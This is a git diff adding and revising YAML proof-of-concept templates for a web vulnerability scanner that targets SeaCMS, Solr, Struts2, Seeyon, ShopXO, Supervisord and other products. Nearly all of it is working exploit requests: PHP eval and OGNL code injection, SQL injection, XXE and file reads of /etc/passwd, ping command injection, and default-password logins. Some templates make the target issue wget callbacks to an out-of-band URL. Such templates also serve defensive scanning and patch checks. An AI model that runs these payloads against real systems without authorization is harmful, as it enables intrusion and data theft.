b/WebScan/pocs/seacms-before-v992-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-seacms-before-v992-rce +set: + r1: randomLowercase(8) +rules: + - method: GET + path: "/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_])%3B%3F%3E" + expression: | + response.status == 200 + - method: GET + path: "/data/mysqli_error_trace.php?_=printf(md5(\"{{r1}}\"))%3B" + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r1))) +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://www.zhihuifly.com/t/topic/3118 diff --git a/WebScan/pocs/seacms-rce.yml b/WebScan/pocs/seacms-rce.yml new file mode 100644 index 0000000..683f8c9 --- /dev/null +++ b/WebScan/pocs/seacms-rce.yml @@ -0,0 +1,18 @@ +name: poc-yaml-seacms-rce +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/search.php?print({{r}}%2b{{r1}})" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/* + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r + r1))) +detail: + author: neverendxxxxxx(https://github.com/neverendxxxxxx),violin + seacms: v6.55 + links: + - https://www.jianshu.com/p/8d878330a42f diff --git a/WebScan/pocs/seacms-sqli.yml b/WebScan/pocs/seacms-sqli.yml new file mode 100644 index 0000000..a9430fd --- /dev/null +++ b/WebScan/pocs/seacms-sqli.yml @@ -0,0 +1,11 @@ +name: poc-yaml-seacms-sqli +rules: + - method: GET + path: /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(202072102)))),@`%27` + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec99") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://www.uedbox.com/post/54561/ diff --git a/WebScan/pocs/seacms-v654-rce.yml b/WebScan/pocs/seacms-v654-rce.yml new file mode 100644 index 0000000..d21ff11 --- /dev/null +++ b/WebScan/pocs/seacms-v654-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-seacms-v654-rce +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /search.php + body: >- + searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=prin&9[]=tf(md5({{rand}})); + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + links: + - http://0day5.com/archives/4249/ + - https://phyb0x.github.io/2018/10/09/seacms%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90/ \ No newline at end of file diff --git a/WebScan/pocs/seacmsv645-command-exec.yml b/WebScan/pocs/seacmsv645-command-exec.yml new file mode 100644 index 0000000..bf92d1b --- /dev/null +++ b/WebScan/pocs/seacmsv645-command-exec.yml @@ -0,0 +1,14 @@ +name: poc-yaml-seacmsv645-command-exec +set: + rand1: randomInt(200000000, 210000000) + rand2: randomInt(200000000, 210000000) +rules: + - method: POST + path: /search.php?searchtype=5 + body: searchtype=5&order=}{end if} {if:1)print({{rand1}}%2b{{rand2}});if(1}{end if} + expression: | + response.body.bcontains(bytes(string(rand1 + rand2))) +detail: + author: Facker007(https://github.com/Facker007) + links: + - https://www.cnblogs.com/ffx1/p/12653597.html diff --git a/WebScan/pocs/secnet-ac-default-password.yml b/WebScan/pocs/secnet-ac-default-password.yml new file mode 100644 index 0000000..332fce9 --- /dev/null +++ b/WebScan/pocs/secnet-ac-default-password.yml @@ -0,0 +1,15 @@ +name: poc-yaml-secnet-ac-default-password +rules: + - method: GET + path: /login.html + expression: response.status == 200 && response.body.bcontains(b"安网科技-智能路由系统") + + - method: POST + path: /login.cgi + body: + user=admin&password=admin + expression: response.status == 200 && response.headers["Set-Cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://bbs.secnet.cn/post/t-30 diff --git a/WebScan/pocs/seeyon-wooyun-2015-0108235-sqli.yml b/WebScan/pocs/seeyon-wooyun-2015-0108235-sqli.yml new file mode 100644 index 0000000..62db646 --- /dev/null +++ b/WebScan/pocs/seeyon-wooyun-2015-0108235-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-seeyon-wooyun-2015-0108235-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /yyoa/ext/trafaxserver/downloadAtt.jsp?attach_ids=(1)%20and%201=2%20union%20select%201,2,3,4,5,md5({{rand}}),7-- + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: Rexus + links: + - https://bugs.shuimugan.com/bug/view?bug_no=0108235 diff --git a/WebScan/pocs/seeyon-wooyun-2015-148227.yml b/WebScan/pocs/seeyon-wooyun-2015-148227.yml new file mode 100644 index 0000000..88a9051 --- /dev/null +++ b/WebScan/pocs/seeyon-wooyun-2015-148227.yml @@ -0,0 +1,11 @@ +name: poc-yaml-seeyon-wooyun-2015-148227 +rules: + - method: GET + path: /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml + follow_redirects: false + expression: | + response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(bytes("NCInvokerServlet")) +detail: + author: canc3s(https://github.com/canc3s) + links: + - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html diff --git a/WebScan/pocs/shiziyu-cms-apicontroller-sqli.yml b/WebScan/pocs/shiziyu-cms-apicontroller-sqli.yml new file mode 100644 index 0000000..efbbc4a --- /dev/null +++ b/WebScan/pocs/shiziyu-cms-apicontroller-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-shiziyu-cms-apicontroller-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1) + expression: + response.status == 404 && response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31))) +detail: + author: sakura404x + links: + - https://blog.csdn.net/weixin_42633229/article/details/117070546 \ No newline at end of file diff --git a/WebScan/pocs/shopxo-cnvd-2021-15822.yml b/WebScan/pocs/shopxo-cnvd-2021-15822.yml new file mode 100644 index 0000000..b20b338 --- /dev/null +++ b/WebScan/pocs/shopxo-cnvd-2021-15822.yml @@ -0,0 +1,19 @@ +name: poc-yaml-shopxo-cnvd-2021-15822 +groups: + Linux: + - method: GET + path: /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + Windows: + - method: GET + path: /public/index.php?s=/index/qrcode/download/url/L1dpbmRvd3Mvd2luLmluaQ= + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"extensions") && response.body.bcontains(b"for 16-bit app support") +detail: + author: Print1n(http://print1n.top) + description: ShopXO download 任意文件读取 + links: + - https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog diff --git a/WebScan/pocs/showdoc-default-password.yml b/WebScan/pocs/showdoc-default-password.yml new file mode 100644 index 0000000..ff05ee8 --- /dev/null +++ b/WebScan/pocs/showdoc-default-password.yml @@ -0,0 +1,12 @@ +name: poc-yaml-showdoc-default-password +rules: + - method: POST + path: /server/index.php?s=/api/user/login + body: username=showdoc&password=123456 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"groupid") && response.body.bcontains(b"user_token") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://blog.star7th.com/2016/05/2007.html \ No newline at end of file diff --git a/WebScan/pocs/skywalking-cve-2020-9483-sqli.yml b/WebScan/pocs/skywalking-cve-2020-9483-sqli.yml new file mode 100644 index 0000000..36e71be --- /dev/null +++ b/WebScan/pocs/skywalking-cve-2020-9483-sqli.yml @@ -0,0 +1,16 @@ +name: poc-yaml-skywalking-cve-2020-9483-sqli +set: + r1: randomInt(10000, 99999) +rules: + - method: POST + path: "/graphql" + headers: + Content-Type: application/json + body: | + {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','{{r1}}','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}} + expression: | + response.status == 200 && response.body.bcontains(bytes("~" + string(r1) + "~")) +detail: + author: sndav(https://github.com/Sndav) + links: + - https://paper.seebug.org/1485/ \ No newline at end of file diff --git a/WebScan/pocs/solarwinds-cve-2020-10148.yml b/WebScan/pocs/solarwinds-cve-2020-10148.yml new file mode 100644 index 0000000..f31afb3 --- /dev/null +++ b/WebScan/pocs/solarwinds-cve-2020-10148.yml @@ -0,0 +1,13 @@ +name: poc-yaml-solarwinds-cve-2020-10148 +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /web.config.i18n.ashx?l=en-US&v={{r1}} + expression: | + response.status == 200 && response.body.bcontains(bytes("SolarWinds.Orion.Core.Common")) && response.body.bcontains(bytes("/Orion/NetPerfMon/TemplateSiblingIconUrl")) +detail: + author: su(https://suzzz112113.github.io/#blog) + CVE: CVE-2020-10148 + links: + - https://kb.cert.org/vuls/id/843464 \ No newline at end of file diff --git a/WebScan/pocs/solr-cve-2017-12629-xxe.yml b/WebScan/pocs/solr-cve-2017-12629-xxe.yml new file mode 100644 index 0000000..2a1d62b --- /dev/null +++ b/WebScan/pocs/solr-cve-2017-12629-xxe.yml @@ -0,0 +1,19 @@ +name: poc-yaml-solr-cve-2017-12629-xxe +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: GET + path: "/solr/admin/cores?wt=json" + expression: "true" + search: | + "name":"(?P[^"]+)", + - method: GET + path: /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22{{reverseURL}}%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser + follow_redirects: true + expression: | + reverse.wait(5) +detail: + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE diff --git a/WebScan/pocs/solr-cve-2019-0193.yml b/WebScan/pocs/solr-cve-2019-0193.yml index 28e4b75..517bf03 100644 --- a/WebScan/pocs/solr-cve-2019-0193.yml +++ b/WebScan/pocs/solr-cve-2019-0193.yml @@ -10,7 +10,7 @@ rules: search: '"name":"(?P.*?)"' - method: POST path: >- - /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E + /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}%2B{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E headers: Content-Type: text/html body: |- @@ -20,7 +20,7 @@ rules: follow_redirects: false - expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: fnmsd(https://github.com/fnmsd) solr_version: '<8.1.12' diff --git a/WebScan/pocs/solr-fileread.yml b/WebScan/pocs/solr-fileread.yml new file mode 100644 index 0000000..2bfdc08 --- /dev/null +++ b/WebScan/pocs/solr-fileread.yml @@ -0,0 +1,46 @@ +name: poc-yaml-solr-fileread +groups: + linux: + - method: GET + path: "/solr/admin/cores?indexInfo=false&wt=json" + expression: response.status == 200 && response.body.bcontains(b"responseHeader") + search: >- + "name":"(?P.+?)" + - method: POST + path: "/solr/{{core}}/config" + body: | + {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} + expression: | + response.body.bcontains(b"responseHeader") + - method: POST + path: "/solr/{{core}}/debug/dump?param=ContentStreams" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + stream.url=file:///etc/passwd + expression: | + response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) + windows: + - method: GET + path: "/solr/admin/cores?indexInfo=false&wt=json" + expression: "true" + search: >- + "name":"(?P.+?)" + - method: POST + path: "/solr/{{core}}/config" + body: | + {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} + expression: | + response.body.bcontains(b"responseHeader") + - method: POST + path: "/solr/{{core}}/debug/dump?param=ContentStreams" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + stream.url=file:///c://windows/win.ini + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: whami-root(https://github.com/whami-root) + links: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 diff --git a/WebScan/pocs/solr-fileread1.yml b/WebScan/pocs/solr-fileread1.yml deleted file mode 100644 index 0b92afd..0000000 --- a/WebScan/pocs/solr-fileread1.yml +++ /dev/null @@ -1,25 +0,0 @@ -name: poc-yaml-solr-fileread1 -rules: - - method: GET - path: "/solr/admin/cores?indexInfo=false&wt=json" - expression: response.status == 200 && response.body.bcontains(b"responseHeader") - search: >- - "name":"(?P.+?)" - - method: POST - path: "/solr/{{core}}/config" - body: | - {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} - expression: | - response.body.bcontains(b"responseHeader") - - method: POST - path: "/solr/{{core}}/debug/dump?param=ContentStreams" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - stream.url=file:///etc/passwd - expression: | - response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) -detail: - author: whami-root(https://github.com/whami-root) - links: - - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 \ No newline at end of file diff --git a/WebScan/pocs/solr-fileread2.yml b/WebScan/pocs/solr-fileread2.yml deleted file mode 100644 index 60def9e..0000000 --- a/WebScan/pocs/solr-fileread2.yml +++ /dev/null @@ -1,25 +0,0 @@ -name: poc-yaml-solr-fileread2 -rules: - - method: GET - path: "/solr/admin/cores?indexInfo=false&wt=json" - expression: "true" - search: >- - "name":"(?P.+?)" - - method: POST - path: "/solr/{{core}}/config" - body: | - {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} - expression: | - response.body.bcontains(b"responseHeader") - - method: POST - path: "/solr/{{core}}/debug/dump?param=ContentStreams" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - stream.url=file:///c://windows/win.ini - expression: | - response.status == 200 && response.body.bcontains(b"for 16-bit app support") -detail: - author: whami-root(https://github.com/whami-root) - links: - - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 \ No newline at end of file diff --git a/WebScan/pocs/sonarqube-cve-2020-27986-unauth.yml b/WebScan/pocs/sonarqube-cve-2020-27986-unauth.yml new file mode 100644 index 0000000..2b261f5 --- /dev/null +++ b/WebScan/pocs/sonarqube-cve-2020-27986-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-sonarqube-cve-2020-27986-unauth +rules: + - method: GET + path: "/api/settings/values" + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(bytes(string(b"sonaranalyzer-cs.nuget.packageVersion"))) && response.body.bcontains(bytes(string(b"sonar.core.id"))) +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "sonarqube < 8.4.2.36762" + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-27986 diff --git a/WebScan/pocs/spark-api-unauth.yml b/WebScan/pocs/spark-api-unauth.yml new file mode 100644 index 0000000..0f155e8 --- /dev/null +++ b/WebScan/pocs/spark-api-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-spark-api-unauth +rules: + - method: GET + path: /v1/submissions + expression: | + response.status == 400 && response.body.bcontains(b"Missing an action") && response.body.bcontains(b"serverSparkVersion") +detail: + author: betta(https://github.com/betta-cyber) + links: + - https://xz.aliyun.com/t/2490 diff --git a/WebScan/pocs/spark-webui-unauth.yml b/WebScan/pocs/spark-webui-unauth.yml new file mode 100644 index 0000000..4977dae --- /dev/null +++ b/WebScan/pocs/spark-webui-unauth.yml @@ -0,0 +1,8 @@ +name: poc-yaml-spark-webui-unauth +rules: + - method: GET + path: / + expression: response.status == 200 && response.body.bcontains(b"Spark") && response.body.bcontains(b"<strong>URL:</strong> spark:") +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/spark/unacc \ No newline at end of file diff --git a/WebScan/pocs/spon-ip-intercom-ping-rce.yml b/WebScan/pocs/spon-ip-intercom-ping-rce.yml new file mode 100644 index 0000000..9fe0a84 --- /dev/null +++ b/WebScan/pocs/spon-ip-intercom-ping-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-spon-ip-intercom-ping-rce +set: + r1: randomLowercase(10) + r2: randomLowercase(10) + r3: randomLowercase(10) + r4: randomLowercase(10) +rules: + - method: POST + path: /php/ping.php + headers: + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + body: | + jsondata[ip]=%7C echo {{r1}}${{{r2}}}{{r3}}^{{r4}}&jsondata[type]=0 + expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + +detail: + author: york + links: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 diff --git a/WebScan/pocs/spring-heapdump-file.yml b/WebScan/pocs/spring-heapdump-file.yml deleted file mode 100644 index 148930d..0000000 --- a/WebScan/pocs/spring-heapdump-file.yml +++ /dev/null @@ -1,12 +0,0 @@ -name: poc-yaml-spring-heapdump-file -rules: - - method: HEAD - path: /heapdump - follow_redirects: true - expression: | - response.status == 200 && response.content_type.contains("application/octet-stream") -detail: - author: AgeloVito - info: spring-heapdump-file - links: - - https://www.cnblogs.com/wyb628/p/8567610.html diff --git a/WebScan/pocs/springboot-env-unauth.yml b/WebScan/pocs/springboot-env-unauth.yml index 5ddda4f..582ee48 100644 --- a/WebScan/pocs/springboot-env-unauth.yml +++ b/WebScan/pocs/springboot-env-unauth.yml @@ -1,9 +1,15 @@ name: poc-yaml-springboot-env-unauth -rules: - - method: GET - path: /env - expression: | - response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") +groups: + spring1: + - method: GET + path: /env + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") + spring2: + - method: GET + path: /actuator/env + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") detail: links: - https://github.com/LandGrey/SpringBootVulExploit diff --git a/WebScan/pocs/springboot-env-unauth2.yml b/WebScan/pocs/springboot-env-unauth2.yml deleted file mode 100644 index 6a78661..0000000 --- a/WebScan/pocs/springboot-env-unauth2.yml +++ /dev/null @@ -1,9 +0,0 @@ -name: poc-yaml-springboot-env-unauth -rules: - - method: GET - path: /actuator/env - expression: | - response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") -detail: - links: - - https://github.com/LandGrey/SpringBootVulExploit diff --git a/WebScan/pocs/struts2-045-1.yml b/WebScan/pocs/struts2-045-1.yml deleted file mode 100644 index d2dc423..0000000 --- a/WebScan/pocs/struts2-045-1.yml +++ /dev/null @@ -1,15 +0,0 @@ -name: poc-yaml-struts2_045-1 -set: - r1: randomInt(800, 1000) - r2: randomInt(800, 1000) -rules: - - method: GET - path: / - headers: - Content-Type: ${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("Keyvalue",{{r1}}*{{r2}})}.multipart/form-data - follow_redirects: true - expression: | - "Keyvalue" in response.headers && response.headers["Keyvalue"].contains(string(r1 * r2)) -detail: - author: shadown1ng(https://github.com/shadown1ng) - diff --git a/WebScan/pocs/struts2-045-2.yml b/WebScan/pocs/struts2-045-2.yml deleted file mode 100644 index 18769e6..0000000 --- a/WebScan/pocs/struts2-045-2.yml +++ /dev/null @@ -1,12 +0,0 @@ -name: poc-yaml-struts2_045-2 -rules: - - method: GET - path: / - headers: - Content-Type: "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}" - follow_redirects: true - expression: | - response.body.bcontains(b"struts2_security_check") -detail: - author: shadown1ng(https://github.com/shadown1ng) - diff --git a/WebScan/pocs/struts2-045.yml b/WebScan/pocs/struts2-045.yml new file mode 100644 index 0000000..d99496d --- /dev/null +++ b/WebScan/pocs/struts2-045.yml @@ -0,0 +1,24 @@ +name: poc-yaml-struts2_045 +set: + r1: randomInt(800, 1000) + r2: randomInt(800, 1000) +groups: + poc1: + - method: GET + path: / + headers: + Content-Type: ${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("Keyvalue",{{r1}}*{{r2}})}.multipart/form-data + follow_redirects: true + expression: | + "Keyvalue" in response.headers && response.headers["Keyvalue"].contains(string(r1 * r2)) + poc2: + - method: GET + path: / + headers: + Content-Type: "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}" + follow_redirects: true + expression: | + response.body.bcontains(b"struts2_security_check") +detail: + author: shadown1ng(https://github.com/shadown1ng) + diff --git a/WebScan/pocs/supervisord-cve-2017-11610.yml b/WebScan/pocs/supervisord-cve-2017-11610.yml new file mode 100644 index 0000000..3fa053d --- /dev/null +++ b/WebScan/pocs/supervisord-cve-2017-11610.yml @@ -0,0 +1,24 @@ +name: poc-yaml-supervisord-cve-2017-11610 +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: /RPC2 + body: >- + <?xml version="1.0"?> + <methodCall> + <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> + <params> + <param> + <string>wget {{reverseURL}}</string> + </param> + </params> + </methodCall> + follow_redirects: false + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: Loneyer + links: + - https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610 diff --git a/WebScan/pocs/swagger-ui-unauth-No1.yml b/WebScan/pocs/swagger-ui-unauth-No1.yml deleted file mode 100644 index 5971c53..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No1.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth1 -rules: - - method: GET - path: /swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No2.yml b/WebScan/pocs/swagger-ui-unauth-No2.yml deleted file mode 100644 index a3f663e..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No2.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth2 -rules: - - method: GET - path: /api/swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No3.yml b/WebScan/pocs/swagger-ui-unauth-No3.yml deleted file mode 100644 index 66e81f1..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No3.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth3 -rules: - - method: GET - path: /service/swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No4.yml b/WebScan/pocs/swagger-ui-unauth-No4.yml deleted file mode 100644 index e109fc9..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No4.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth4 -rules: - - method: GET - path: /web/swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No5.yml b/WebScan/pocs/swagger-ui-unauth-No5.yml deleted file mode 100644 index f111855..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No5.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth5 -rules: - - method: GET - path: /swagger/swagger-ui.html - expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") -detail: - author: AgeloVito - links: - - https://blog.csdn.net/u012206617/article/details/109107210 diff --git a/WebScan/pocs/swagger-ui-unauth-No6.yml b/WebScan/pocs/swagger-ui-unauth-No6.yml deleted file mode 100644 index 3f18e6e..0000000 --- a/WebScan/pocs/swagger-ui-unauth-No6.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-swagger-ui-unauth6 -rules: - - method: GET - path: /actuator/swagger-ui.html - expression: | - response.status == 200 && 